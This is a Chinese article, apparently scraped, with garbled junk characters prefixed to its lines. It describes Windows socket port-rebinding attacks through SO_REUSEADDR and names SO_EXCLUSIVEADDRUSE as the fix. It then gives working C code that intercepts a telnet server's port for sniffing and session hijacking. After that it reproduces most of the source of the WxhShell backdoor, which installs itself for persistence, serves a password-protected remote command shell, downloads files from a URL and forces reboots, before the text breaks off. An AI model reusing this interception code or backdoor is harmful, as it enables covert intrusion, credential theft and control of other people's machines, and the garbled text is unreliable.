在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
`(H]aTLt , s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Sq/M
%z5' ml.l( 6A saddr.sin_family = AF_INET;
iBwl(,)?m2 l6Ze6X I saddr.sin_addr.s_addr = htonl(INADDR_ANY);
kR7IZo"q x%k4Lm bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Ig"Krz RR{]^g51 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
63UAN0K% @]6)j& 这意味着什么?意味着可以进行如下的攻击:
^TVy:5Ag <5@+:7Dv 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
50rCW)[# =bded(3Z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
W>K2d
!-2nIY! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
r-^Ju6w{ ggVB8QN{ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
$n(?oyf ?qAX *j 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
]n${j/x GuQ3$B3j 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
bd_U%0)pi1 LDBxw 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
PQWo<Uet u Y V= #include
j,/OzVm9 #include
7`6n]4e #include
J^hj
R%H #include
D`3}j DWORD WINAPI ClientThread(LPVOID lpParam);
vpvPRwJ int main()
$V]D7kDph* {
_MR|(mV WORD wVersionRequested;
@za?<G>!'e DWORD ret;
d~g WSADATA wsaData;
[Rs5hO BOOL val;
9x ?" %b SOCKADDR_IN saddr;
-x_b^)x~b7 SOCKADDR_IN scaddr;
RSG4A>%!mI int err;
bnWIB+%_ SOCKET s;
^>.?kh9z SOCKET sc;
MM|&B`v@; int caddsize;
o(]kI?` HANDLE mt;
NAZxM9 DWORD tid;
~/!Zh wVersionRequested = MAKEWORD( 2, 2 );
MkC25 err = WSAStartup( wVersionRequested, &wsaData );
W~.1f1) if ( err != 0 ) {
WfhQi;r printf("error!WSAStartup failed!\n");
p
W:[Q\rSj return -1;
Q pz01x }
^.mQ~F saddr.sin_family = AF_INET;
<6mXlK3N0
%3KWc- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
1'"o; a]k/ L/%3_, saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
2etcSU(y> saddr.sin_port = htons(23);
&1F)/$,v if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Q6_!I42Y` {
ul(1)q^ printf("error!socket failed!\n");
9^4^EY# return -1;
58mzh82+ }
N1\u~%AT" val = TRUE;
\x(J vDt //SO_REUSEADDR选项就是可以实现端口重绑定的
C;oP"K]4= if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
uWG'AmK_#E {
isj<lnQ printf("error!setsockopt failed!\n");
KOV^wSwS return -1;
6G/)q8'G }
O1JGv8Nr //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
wS%I. //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
fH`P8?](x //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
"#rlL^9v =NSLx 2:T if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
qp"gD-,-o {
rMTtPuc2 ret=GetLastError();
Cl\Vk printf("error!bind failed!\n");
A_{QY&%m return -1;
gA2Il8K }
.7g^w+W listen(s,2);
NjdAfgA while(1)
-J:](p {
G-Sw`HHo caddsize = sizeof(scaddr);
xaoaZ3Ko //接受连接请求
A>%fE 6FY sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
ti`z:8n7 if(sc!=INVALID_SOCKET)
m589C+7 {
/!eC;qp;[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
{3$ge if(mt==NULL)
}qmZ {
?)",}XL6 printf("Thread Creat Failed!\n");
I:]s/r7 break;
Vd)iv\a }
cI?dvfU? }
=5oFutg` CloseHandle(mt);
}dAb}0XK. }
1#(,Bq4 closesocket(s);
2OAh7 '8< WSACleanup();
"%A/bv\u return 0;
[LL"86D }
s)375jCga DWORD WINAPI ClientThread(LPVOID lpParam)
9C-F%te7 {
(vz)GrH> SOCKET ss = (SOCKET)lpParam;
d7It}7@9 SOCKET sc;
y:iE'SRRK6 unsigned char buf[4096];
VpWax]' SOCKADDR_IN saddr;
@-qxNw long num;
kzLj1Ix2 DWORD val;
n1y#gC DWORD ret;
r7C
m //如果是隐藏端口应用的话,可以在此处加一些判断
GaSk&'n$Y //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
+TpM7QaL saddr.sin_family = AF_INET;
w{F8]N>0< saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
cGsP0LkHC saddr.sin_port = htons(23);
^-4mZXAy1| if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
AcrbR&cvG {
m3F.-KPO printf("error!socket failed!\n");
}-V .upl return -1;
(4$lB{% }
"o<:[c9/ val = 100;
9V.)=*0hp if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
k#JFDw\ {
I?4J69' ret = GetLastError();
V F6OC4 K return -1;
mXz-#Go( }
$Fc*^8$ryC if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
lLmVat( {
? RB~%^c! ret = GetLastError();
+z>*m`}F return -1;
5}*aP }
6\\B{%3R2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
> :!faWX {
z\_q`43U7 printf("error!socket connect failed!\n");
$SG^, !!&A closesocket(sc);
vFL3eu# closesocket(ss);
,":"Op61 return -1;
.3{S6# }
]v rpr%K while(1)
/'TzHO9_` {
WYRTt2(+% //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
v^[tK2&v //如果是嗅探内容的话,可以再此处进行内容分析和记录
S'Yg!KwX //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
s:*gjoL num = recv(ss,buf,4096,0);
g}ciG!0 if(num>0)
asQ pVP send(sc,buf,num,0);
z ]o&^Q else if(num==0)
: 60PO break;
xb8fV*RO8A num = recv(sc,buf,4096,0);
m?;)C~[ if(num>0)
o%M~Q<wf send(ss,buf,num,0);
baR{ else if(num==0)
0Hff/~J break;
H",yVD }
rU<
H7U closesocket(ss);
x:xKlPGd closesocket(sc);
nP 2 rN_:4 return 0 ;
eff6=DP }
s3g$F23 M`BD]{tN} Eqp?cKrji ==========================================================
u$t*jw\fHg LP@Q8{' 下边附上一个代码,,WXhSHELL
f@\
k_ v{Zh!mk* L ==========================================================
w,eYrxR|N [ueT]% #include "stdafx.h"
75!IzJG -T4?5T_ #include <stdio.h>
C.8]~MP #include <string.h>
Haj`mc!<D0 #include <windows.h>
>bz}IcZP #include <winsock2.h>
e<~uU9
lg1 #include <winsvc.h>
}`5%2iG #include <urlmon.h>
HY5g>wv@ (}4tj4d #pragma comment (lib, "Ws2_32.lib")
MyCX6+Ci) #pragma comment (lib, "urlmon.lib")
@,M !&l )uwpeq$j7l #define MAX_USER 100 // 最大客户端连接数
{*
>$aI #define BUF_SOCK 200 // sock buffer
^CZn<$ #define KEY_BUFF 255 // 输入 buffer
;?= ] ffa{ \ts:' #define REBOOT 0 // 重启
Va(R*38k #define SHUTDOWN 1 // 关机
B*Hp nt "VH5 #define DEF_PORT 5000 // 监听端口
%
eW>IN]5 YXrTm[P #define REG_LEN 16 // 注册表键长度
0x[vB5R #define SVC_LEN 80 // NT服务名长度
t.lm`= A[htG\A` 0 // 从dll定义API
H&mw!=FV0 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ReZ|q5* typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
J^n(WnM*F typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
J%j#gyTU typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
,_u8y&<|I ThJLaNS // wxhshell配置信息
4xtbP\= struct WSCFG {
OPwp(b int ws_port; // 监听端口
z}8rD}BH char ws_passstr[REG_LEN]; // 口令
tz1iabZ{ int ws_autoins; // 安装标记, 1=yes 0=no
.Ks&r char ws_regname[REG_LEN]; // 注册表键名
"* %=k%' char ws_svcname[REG_LEN]; // 服务名
cQ*:U@ char ws_svcdisp[SVC_LEN]; // 服务显示名
oIoJBn char ws_svcdesc[SVC_LEN]; // 服务描述信息
*ubLuC+b char ws_passmsg[SVC_LEN]; // 密码输入提示信息
`o/tpuI int ws_downexe; // 下载执行标记, 1=yes 0=no
6dC!&leNi char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
aina6@S char ws_filenam[SVC_LEN]; // 下载后保存的文件名
&IXr*I sKn>K/4JZ };
:E4i@ O7% e#FaK^V // default Wxhshell configuration
sw{EV0&>m struct WSCFG wscfg={DEF_PORT,
-a&wOn-W "xuhuanlingzhe",
<gf:QX! 1,
?v8RY,Q30 "Wxhshell",
\&@Tq-o "Wxhshell",
#^!oP$>1 "WxhShell Service",
RX?Nv4- "Wrsky Windows CmdShell Service",
*|_u~v:)|5 "Please Input Your Password: ",
9e=F 1,
fJc,KZy "
http://www.wrsky.com/wxhshell.exe",
Gp;[WY\ "Wxhshell.exe"
il5WLi;{ };
kl3#&>e dE/Vl/ : // 消息定义模块
kj@#oLd% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Qs#v/r char *msg_ws_prompt="\n\r? for help\n\r#>";
^a<=@0| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
WAqR70{KM char *msg_ws_ext="\n\rExit.";
#mx;t3ja7 char *msg_ws_end="\n\rQuit.";
RL.%o?<&? char *msg_ws_boot="\n\rReboot...";
L
G{N char *msg_ws_poff="\n\rShutdown...";
?P{C=Td2z char *msg_ws_down="\n\rSave to ";
N5%~~JRO Be8Gx char *msg_ws_err="\n\rErr!";
@8n0GCv char *msg_ws_ok="\n\rOK!";
Tk.MtIs)V} cO)GiWE char ExeFile[MAX_PATH];
?o9l{4~g int nUser = 0;
cS QUK HANDLE handles[MAX_USER];
WDE_"Mm int OsIsNt;
cl:*Q{(Cjk AGK+~EjL@ SERVICE_STATUS serviceStatus;
gTO% SERVICE_STATUS_HANDLE hServiceStatusHandle;
C(e!cOG ]$0{PBndW // 函数声明
^row=5]E int Install(void);
F[RhuNa&'W int Uninstall(void);
(:Bo'q
S int DownloadFile(char *sURL, SOCKET wsh);
Zu&trxnNf[ int Boot(int flag);
a^4(7 void HideProc(void);
F_YZV)q!W int GetOsVer(void);
z7HC6{g%X int Wxhshell(SOCKET wsl);
2=F_<Jh|+ void TalkWithClient(void *cs);
I?bL4u$\ int CmdShell(SOCKET sock);
%b@>riR(y int StartFromService(void);
e!eWwC9u int StartWxhshell(LPSTR lpCmdLine);
rLh490@ cX* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
"pMXTRb VOID WINAPI NTServiceHandler( DWORD fdwControl );
la|#SS95 =E4nNL? // 数据结构和表定义
3,N7Nfe SERVICE_TABLE_ENTRY DispatchTable[] =
OK3B6T5w= {
wT*`Od8w {wscfg.ws_svcname, NTServiceMain},
IK~ur\3 {NULL, NULL}
C[gSiL
};
n$#^gzU4 % fA0XRM // 自我安装
h>bmHQ int Install(void)
5'+g'9 {
Og30&a!~F char svExeFile[MAX_PATH];
=jg!@H=_i HKEY key;
Y*wbFL6` strcpy(svExeFile,ExeFile);
9Ki86 .}Bb
:*@ // 如果是win9x系统,修改注册表设为自启动
Srol0D I if(!OsIsNt) {
mz9Kwxe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
6u8`,&U RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~aA+L-s| RegCloseKey(key);
(:-DuUt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[m}x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.Ddl.9p5 RegCloseKey(key);
oY +RG|j@ return 0;
A{&Etu(K }
r)U9u 0 }
pxDZ}4mOh }
&(Xp_3PO else {
U?xl%qF`) G>#L // 如果是NT以上系统,安装为系统服务
Br-y`s~cP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
#cjB <APY if (schSCManager!=0)
#BT=
K {
UT[KwM{y SC_HANDLE schService = CreateService
MKoN^(7 (
Z!LzyCVl schSCManager,
Szwa2IdI. wscfg.ws_svcname,
mUnnk`v wscfg.ws_svcdisp,
yKDg
~zsh SERVICE_ALL_ACCESS,
2Q1* Xq{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
.JQR5R |Q SERVICE_AUTO_START,
W%vh7>. SERVICE_ERROR_NORMAL,
\?g)jY svExeFile,
H26j]kY NULL,
x%cKTpDh! NULL,
N_/&xHw NULL,
0FEb[+N NULL,
QbOmJQ NULL
QD\S E );
RsTpjY*Xb if (schService!=0)
3 5|5|ma {
*dUnP{6 g CloseServiceHandle(schService);
DrMcE31 CloseServiceHandle(schSCManager);
w
:^b3@gd strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
[DjdR_9*I strcat(svExeFile,wscfg.ws_svcname);
2Ybz`O!
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
,:=E+sS
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
]!0*k#i_. RegCloseKey(key);
=_
-@1
1a return 0;
DPy"FQYZb }
nNBxT+3*i }
{/#?n[" CloseServiceHandle(schSCManager);
atl0#F Bd }
IGv>0LOd@ }
V4VTP]'n d&R/f Im return 1;
I&>R]DV }
y1k""75 vcV=9q8P1 // 自我卸载
Mc76) int Uninstall(void)
@iWIgL {
Q#:,s8TW[ HKEY key;
To=1B`@- (`>4~?|+T if(!OsIsNt) {
oX?2fu- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
U
R@'J@V#: RegDeleteValue(key,wscfg.ws_regname);
2! &:V] RegCloseKey(key);
9O}YtX2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$lV0TCgba8 RegDeleteValue(key,wscfg.ws_regname);
\>,{)j q; RegCloseKey(key);
<=19KSGFt return 0;
= @ph }
m0=CD }
N'2u`br4KP }
fa<83<.D else {
nX?fj<oR| I?F^c6M= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
/*D]4AK if (schSCManager!=0)
RQ/X{<lQ) {
m$[\(Z(/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
ih1SN,/ if (schService!=0)
=;@5Ue
J {
??1V__w if(DeleteService(schService)!=0) {
aEX+M57k~ CloseServiceHandle(schService);
=>ph\ CloseServiceHandle(schSCManager);
-Frx {3 return 0;
4fpz;2% }
B.&q]CAv- CloseServiceHandle(schService);
z,DEBRT+ }
0>E` 9| CloseServiceHandle(schSCManager);
_CI! 7% }
v\\Z[,dK }
9LCV"xgX 6aMqU?- return 1;
U_M > Q_r( }
o*r\&!NIw v?d~H`L // 从指定url下载文件
JNX7]j\ int DownloadFile(char *sURL, SOCKET wsh)
"v^Q
! {
8 kd HRESULT hr;
DZLSn Ax char seps[]= "/";
s "*Cb* char *token;
<VgnrqF6: char *file;
8$3 Tu"+; char myURL[MAX_PATH];
^pZ(^ char myFILE[MAX_PATH];
C/
;f)k< wl5!f| strcpy(myURL,sURL);
t^u X9yvx token=strtok(myURL,seps);
7,Z%rqf\) while(token!=NULL)
G}f.fRY {
H!oP!rzEo file=token;
O'$:wc# token=strtok(NULL,seps);
pw&l.t6. }
M@{GT/`Pf C Q3;NY=o GetCurrentDirectory(MAX_PATH,myFILE);
s*(Y<Ap7d strcat(myFILE, "\\");
SV8rZWJ strcat(myFILE, file);
M}M. send(wsh,myFILE,strlen(myFILE),0);
qw"`NubX send(wsh,"...",3,0);
:5h&f hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
l'-iIbKX if(hr==S_OK)
|!rD2T\Ef return 0;
dos$d3B4 else
rD<@$KpP return 1;
gD&%$&q zy5@K) }
\{NeDv{A h r t\ // 系统电源模块
[/5>)HK} C int Boot(int flag)
`iQyKZS/+ {
dsJ}C|N HANDLE hToken;
$WTu7lVV[1 TOKEN_PRIVILEGES tkp;
#2x\d M,cI0i if(OsIsNt) {
MLa]s*
; d OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
BflF*-s ^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
bQ tkp.PrivilegeCount = 1;
(:E^} &A tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Jq?ai8
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
|h6)p;`gc if(flag==REBOOT) {
qj/ 66ak if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Ct"h.rD ] return 0;
L>pP3[~DV }
6>bKlYl&9 else {
o+6Y/6Xp@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
1VJE+3 return 0;
,n&Dg58K }
G7zfyw}W }
.hT^7|Jz[ else {
WY<ip< if(flag==REBOOT) {
OEZXV ;F if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
T[ky7\ return 0;
/mqEc9sq, }
SU
H^ ]4> else {
S}*#$naK if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
r1F5&?{q return 0;
J+Y&